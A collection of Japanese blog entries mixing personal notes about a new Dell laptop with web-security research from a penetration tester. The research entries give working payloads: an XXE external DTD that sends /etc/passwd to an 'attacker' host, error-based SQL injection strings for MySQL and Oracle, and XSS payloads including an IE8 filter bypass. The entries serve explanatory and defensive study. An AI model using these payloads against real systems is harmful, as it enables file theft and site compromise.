パソコンが届いた

おととい(22日)、DELLのノートPCが届きました。

注文したのが12日なので、10日くらいで届いたことになります。

ただいまセットアップ中です。これまでに以下のソフトを入れました。

Becky!         メールクライアント
IE8/Firefox    ブラウザ
xyzzy          テキストエディタ
PuTTY          SSHクライアント
SharpReader    RSSリーダー
Explzh         圧縮解凍
etc...

最初はOSがXPからVistaに変わって戸惑っていましたが、だいぶ慣れてきました。

括弧なしのXSS

hoshikuzuさんの日記から。

詰めXSS回答第弐回(分割方式)

これ、SCRIPTタグの内側に挿入できるけれども、括弧など殆どの記号がはじかれてしまうアプリがあって、仕事で1回だけ使ったことがあります。

とはいっても、hoshikuzuさんの記事の後半に書いてあるような技を使ったわけではなく、私の場合は単純に「a setter=alert,a=123」みたいのを入れて「詰み」としました。

私がsetterを使う手法を見つけたのはこちらのページです。

http://sla.ckers.org/forum/read.php?2,20954

sla.ckers.orgのXSS Info Forumは、まさにこの手のネタの宝庫です。

***

ところで、setterを使ったのは、以下のような経緯でした。

  • 私・・・XSSを報告
  • 開発者・・・なぜか括弧などの記号が使えないように改修
  • 私・・・まだXSSできることを報告
  • 開発者・・・数字のみ許可するように改修

初回の報告のときに、根本的な対策方法を含めて報告をあげるわけですが、開発者の方がそのとおりに改修してくれないことも多くあります。私も昔は開発をしていて検査を受ける立場だったこともあるので、なんとなく分からないでもないですが。時には、このようなやり取りがもっと続くこともあります。

XMLをParseするアプリのセキュリティ(補足編)

以前の日記では、外部からのXMLをサーバサイドでParseするアプリへの攻撃の概要について書きました。

今日の日記では、何点か補足する事項について書きます。

ファイルの内容を盗み出す他の方法

前の日記の中で、サーバ上のファイルの内容を外部から盗み出すにはいくつかの条件があると書きました。

その条件のひとつに「コーディングのスタイル」がある、具体的には「textContent」で要素の内容を取得するアプリ(下のPHPコードではAのスタイルのアプリ)でのみ、サーバ上のファイルの内容を盗まれる可能性がある、と書きました。

<?php
...
$elm = $doc->getElementsByTagName('test')->item(0);

// A: 外部実体参照が展開される
$var = $elm->textContent;

// B: 外部実体参照は展開されない
$var = $elm->firstChild->nodeValue;

しかし、あの日記を書いて以降、Java+Xercesで試してみたところ、コーディングのスタイルにかかわらず、ファイルの内容を盗み出せる(可能性がある)ことに気がつきました。

例えば、攻撃者は、以下のようなXMLを攻撃対象サーバ上でParseさせます。

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://attacker/test.dtd" >
<foo>&e1;</foo>

外部DTDが有効になっている場合、攻撃者のサーバ(attacker)上のtest.dtdが読み込まれます。test.dtdの中身は以下のようにします。

<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://attacker/BLAH#%p1;'>">
%p2;

まず最初に、パラメータ実体である「%p1;」には、攻撃対象サーバ上の/etc/passwdファイルの中身をセットします。次の行では、外部実体「&e1;」を定義するためのパラメータ実体「%p2;」を定義し、最後の行で「%p2;」を展開します。

これにより外部実体「&e1;」が定義されますが、ここでattackerサーバが「/BLAH」に対するリクエストに404応答を返せば、以下のようなRuntime Exceptionが発生します。

java.lang.RuntimeException: java.io.FileNotFoundException: http://attacker/BLAH#root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
...

攻撃者がParse時のエラーメッセージを得られるケースでは、この手法を使って攻撃対象サーバ上のファイルを取得できることになります。

ただし、詳細は割愛しますが、この手法で取得できるファイルにはいろいろと制限があり、取得できないファイルも多くあります。また、このような冗舌なExceptionメッセージを出力しない実装のJavaライブラリもあると思われます。

それでは、Blind状態のアプリ(都合のよいエラーメッセージが得られないアプリ)は攻撃できないのかというと、そうでもありません。攻撃に成功するケースはかなり限定されますが、場合によってはファイルの中身を盗み出すことができます。

たとえば、外部のDTDを以下のように書き換えます。

<!ENTITY % p1 SYSTEM "file:///etc/redhat-release">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://attacker/%p1;'>">
%p2;

攻撃対象サーバから外部への通信が許可されているならば、これにより攻撃対象サーバのファイル(/etc/redhat-release)の中身が、attackerサーバ側のHTTPログに残ります。DTDの2行目にて「%p1;」を埋め込む箇所を変えれば、DNSログに必要な情報を残させることもできます。

ただし、URLやホスト名の文字列は、使える文字の種類や長さに関する厳しい制約があります。私が試した限り、その制約を満たさない限りはattackerサーバにDNS/HTTPのリクエストは送られませんでした。ですので、この手法で抜けるのは、中身が単純なファイル(たとえば/etc/redhat-releaseのようなファイル)に限られると思います。

PHPのDOM関数について

前回の日記には、PHPのDOM関数については、DTDや外部実体を使用禁止にする方法が見つけられなかったと書きました。

その後、もう少し調べてみたので、その結果を書きます。

PHPのDOM関数は内部的にlibxmlを使用しているので、libxmlのParseオプションを見てみます。以下は、libxmlの現時点での最新版(libxml2-2.6.9)の、parse.hに定義されているParseオプションです。

typedef enum {
    XML_PARSE_RECOVER   = 1<<0, /* recover on errors */
    XML_PARSE_NOENT     = 1<<1, /* substitute entities */
    XML_PARSE_DTDLOAD   = 1<<2, /* load the external subset */
    XML_PARSE_DTDATTR   = 1<<3, /* default DTD attributes */
    XML_PARSE_DTDVALID  = 1<<4, /* validate with the DTD */
    XML_PARSE_NOERROR   = 1<<5, /* suppress error reports */
    XML_PARSE_NOWARNING = 1<<6, /* suppress warning reports */
    XML_PARSE_PEDANTIC  = 1<<7, /* pedantic error reporting */
    XML_PARSE_NOBLANKS  = 1<<8, /* remove blank nodes */
    XML_PARSE_SAX1      = 1<<9, /* use the SAX1 interface internally */
    XML_PARSE_XINCLUDE  = 1<<10,/* Implement XInclude substitition  */
    XML_PARSE_NONET     = 1<<11,/* Forbid network access */
    XML_PARSE_NODICT    = 1<<12,/* Do not reuse the context dictionnary */
    XML_PARSE_NSCLEAN   = 1<<13,/* remove redundant namespaces declarations */
    XML_PARSE_NOCDATA   = 1<<14 /* merge CDATA as text nodes */
} xmlParserOption;

15種類のオプションが用意されていますが、やはり、DTDや外部実体の使用を禁止するためのオプションはありません(それらしい名前のオプションもありますが、期待通りには動きません)。したがってlibxmlを利用しているPHPのDOM関数でも、DTDや外部実体を禁止することはできないと思います。

なお、過去には、libxmlのメーリングリストにて、外部実体対策を意図したであろうParseオプションを追加するような提案がされたことがあります。

[xml] new PARSER_NO_DISK_ACCESS constant

ただしこの提案は採用されなかった模様です。

.NETについて

私自身は、.NET環境でのXML処理はやったことがありませんが、非常によさそうな情報があるので紹介します。

System.Xml のセキュリティに関する考慮事項

パソコン壊れた

自宅でメインで使っているノートパソコンが壊れました。

ハードディスクからゴリゴリ異音がして、データを読み込めません。もうだめでしょう。

過去のメールやら写真やら、いろいろなVMイメージ(検証環境)やらを含めて、多くのデータがおじゃんになりました。バックアップもほとんどなし。

まあ、思い出は消えましたが、生活に差し支えるようなデータでもないので、たまに消えてしまうくらいでちょうどいいかもしれません。

とりあえず予備のマシンでネットにつないで、Dellのノートを購入しました。

Vistaをちゃんと使うのははじめてです。64bitもはじめて。

Studio 15 プラチナパッケージ(Windows 7おすすめ) - Studio 15, Windows Vista(R) Home Premium SP1 正規版 (日本語版) 64ビット
  -- Base:
  -- Studio 15

  -- CPU:
  -- インテル(R) Core(TM) 2 Duo プロセッサー T9550 (6MB L2キャッシュ、2.66GHz、1066MHz FSB)

  -- キーボード:
  -- 日本語キーボード

  -- メモリ:
  -- 6GB(2GBx1+4GBX1) DDR2-SDRAM メモリ

  -- グラフィック:
  -- ATI Mobility Radeon(TM) HD 4570 512MB

  -- キャリングケース:
  -- キャリングケース無し

  -- ハードディスク:
  -- 500GB SATA HDD (5400回転)

  -- OS:
  -- Windows Vista(R) Home Premium SP1 正規版 (日本語版) 64ビット

  -- ACアダプタ:
  -- 90W ACアダプタ

  -- 内蔵ウェブカメラ:
  -- 内蔵200万画素ウェブカメラ

  -- 光学ドライブ:
  -- ブルーレイコンボドライブ (Roxio Creator Dell Edition添付)

  -- 液晶ディスプレイ:
  -- 15.6インチ TFT TrueLife(TM) FHD 光沢液晶ディスプレイ (WLED) (1920x1080)

  -- セキュリティソフト:
  -- マカフィー(R) セキュリティセンター 30日間試用版 (再インストール用CDは添付されません)

  -- Microsoft Office:
  -- Microsoft(R) Office Personal 2007

  -- デルケア [パソコン本体の保証]:
  -- 標準 - 1年保守 [引き取り修理]

  -- バッテリ:
  -- 6セルバッテリ

  -- カラー:
  -- トポ・ブラック

  -- Misc 5:
  -- PCリサイクルマークシール あり

  -- Bluetooth:
  -- Dell Wireless(TM) 370 内蔵Bluetoothモジュール (V2.1+EDR)

  -- ワイヤレスLAN:
  -- インテル(R) WiFi Link 5100 (802.11a/b/g/n対応 - 最大理論速度300Mbps)

  -- パッケージディスカウント:
  -- パッケージ価格 113,375円(税込)OFF (PIOT6914)

-- PC本体分105,000円以上(税込)ご購入でもれなくStudio 15全構成が表示価格からさらに10%OFF(税込)!
[/1000_PIOT5098/]
- \13,651

 小計: \122,854

配送料: \1,500

配送料割引: -\1,500消費税: \6,142
合計金額: \128,996

SQLのlike演算子でエスケープが必要な文字

まとめると以下のようになると思います。

Oracle % _ %(全角)_(全角)
DB2 % _ %(全角)_(全角)
MS SQL Server % _ [
MySQL % _
PostgreSQL % _

注意点は以下のとおり。

  • DB2Oracleは、「%」「_」(全角)もワイルドカードとして解釈する
  • SQL Serverは、[a-z]のような正規表現的な記述を解釈する
  • 当然、ワイルドカード的な機能を持たせたい「%」や「_」等はエスケープしない
  • 全データベース共通の話として、エスケープ文字自体もエスケープする必要がある(MySQL、Postgresでは「\」がデフォルトのエスケープ文字)
  • likeのエスケープをした後に、Prepared Statementで値をSQLにバインドする

(関連)2008-07-10 - T.Teradaの日記

MySQLのエラーメッセージ

MySQL環境において、BlindではないSQLインジェクションがあるときに(SQLエラーメッセージが応答に含まれるときに)、欲しいデータをエラーメッセージから得る方法。

mysql> select extractvalue('<a/>',concat('/$',version()));
ERROR 1105 (HY000): XPATH syntax error: '$5.1.36-log'

こんな感じで使います。

?vuln_var='-extractvalue('<a/>',concat('/$',version()))-'

おそらく、MySQL5.1以上で動きます。

金床さんの本(ウェブアプリケーションセキュリティ)には、同じことをload_file関数を使ってやる方法が載ってますが、FILE権限が必要ですし、ちょっと前からその方法自体が使えなくなってます。

(参考)MySQL Bugs: #10418: LOAD_FILE does not behave like in manual if file does not exist

ところで、Oracleも同じように、XPATH構文が不正な場合、エラーメッセージにそのXPATH構文を出力します。

SQL> select extractvalue(xmltype('<a/>'),'/$'||user) from dual;
select extractvalue(xmltype('<a/>'),'/$'||user) from dual
                                                     *
行1でエラーが発生しました。:
ORA-31011: XML解析に失敗しました
ORA-19202: XML処理
LPX-00601: Invalid token in: '/$testuser1'中にエラーが発生しました

最近出た本(SQL Injection Attacks and Defense)によると、Oracle11gは、utl_inaddrなどのネットワーク系のパッケージをデフォルトで使用できなくしているようです。この本には、11g環境において、エラーメッセージをコントロールするための方法がいくつか載っています。

IE8のXSSフィルタが裏目に出る例

IE8のXSSフィルタは、WebアプリにXSS脆弱性があったとしても、それが発動する可能性を減らしてくれるものです。

しかし、そのXSSフィルタが裏目に出るようなこともあります。

例えば、以下のような静的なHTMLファイル(test.html)を作ってWebサーバにおきます。

<h3>ie8 test</h3>

<!-- 1 -->
<script>
var u=document.URL;
</script>

<!-- 2 -->
<script>
u=u.replace(/&/g,'&amp;').replace(/</g,'&lt;');
</script>

<!-- 3 -->
<script>
document.write('URL:'+u);
</script>

上のページは静的なページで、DOM Based XSS脆弱性もありません。ですが、被害者のユーザがIE8を使っている場合には、このページを使ったXSS攻撃を成功させることができます。

攻撃用のURLは、以下のとおりです。

test.html?%26amp;').replace(<img/src='_'onerror=alert(1)>

このURLにアクセスすると、XSSフィルタは攻撃を検知(誤検知)して、HTMLの一部を書き換えます。実際にレンダリングされるのは以下のHTMLです。

<h3>ie8 test</h3>

<!-- 1 -->
<script>
var u=document.URL;
</script>

<!-- 2 -->
<script>      ↓《XSSフィルタが書き換えた行》
u=u.replace(/&/g,'&amp;'#.replace#/</g,'&lt;');
</script>

<!-- 3 -->
<script>
document.write('URL:'+u);
</script>

IE8のXSSフィルタにより、HTMLエスケープをしている2つ目のscriptタグの中が壊されてしまいます。そのため、3つ目のscriptタグ内のdocument.write()の箇所が、XSS(DOM Based XSS脆弱性を持つようになってしまいます。

上の例のように、XSSフィルタは攻撃されたと推測した箇所のHTMLを書き換えてしまいます。そのため、攻撃を誤検知すると、その箇所を書き換えてしまい、ページの作者が意図したとおりに表示や動作しなくなることがあります。

(参考)
はてなブックマーク - <script type="text/javascript"> - Bing

通常は、誤検知したとしても、一部の表示がおかしくなったり、ボタンが動かなくなったりする程度だと思います。

しかし、意図的に誤検知を生じさせて、特定の機能を動作させないようにすることも、場合によっては可能です。上の例では、セキュリティ機能(HTMLエスケープしている箇所)が無効になるように誤検知を起こさせることで、XSSを成功させています。

ただし、上の例のページは、IE8のXSSフィルタの挙動を意識した、非常に恣意的なHTMLです。実際のWebページで、この例のようにXSSフィルタを誤検知させてXSSさせる攻撃が成功することは、まず無いだろうと思います。

ところで、XSSフィルタは、単一のリクエストとレスポンスを見るだけでXSSしているかを判定しています。誤検知は原理的に避けがたいと言えます。XSSフィルタの作者が、この種の危険性を認識しつつもXSSフィルタを導入したのか(あるいはそうではないのか)、ちょっと興味があります。